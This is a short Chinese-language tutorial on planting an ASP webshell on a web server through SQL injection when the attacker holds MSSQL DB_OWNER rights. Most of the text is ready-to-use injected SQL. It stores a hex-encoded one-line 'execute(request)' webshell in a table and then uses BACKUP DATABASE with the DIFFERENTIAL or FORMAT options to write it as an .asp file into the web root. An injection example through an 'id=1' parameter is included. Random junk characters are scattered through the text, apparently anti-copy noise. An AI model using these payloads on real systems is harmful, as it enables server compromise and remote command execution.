DB_OWNER权限得到webshell的改进办法

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DB_OWNER权限得到webshell的两点改进:

% f& D- Z  v: r减少备份文件大小，得到可执行的webshell成功率提高不少
" D. d1 Q. L! L' ^  s一利用差异备份
加一个参数WITH DIFFERENTIAL
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8 _/ P4 M2 y  R$ n5 M' D declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s
+ e) L7 q: [# C; b4 e) `" K$ ycreate table [dbo].[xiaolu] ([cmd] [image]);
" C, J  {. D, ]2 J& i0 `insert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
/ s+ E: k* X7 l- ideclare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH DIFFERENTIAL

; e" j1 y4 b; h; Y二利用完全FORMAT
加一个参数WITH FROMAT
9 }1 P+ @) u  a# q/ @1 H, @有些页面对数据库要执行几次，而备份又默认是每次都以追加的方式，如果一个注入点对数据库有几次操作，而备份的文件就 几倍的增加，所以
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+ q" g; l# M# t: S' ^ declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s
! [7 I( P- c9 qcreate table [dbo].[xiaolu] ([cmd] [image]);
- i% |/ P( v  ainsert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
$ i( ~  G7 I5 [declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH FORMAT
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总的来说就是那么简单几句,下面以备份数据库model为例子
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$ t/ h0 t& U! a4 g. C/ U5 n id=1;use model create table cmd(str image);insert into cmd(str) values ('<%25execute(request("a"))%25>')
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0 q4 W* N% c) R+ ^1 f- X0 U id=1;backup database model to disk='你的路径‘ with differential,format;--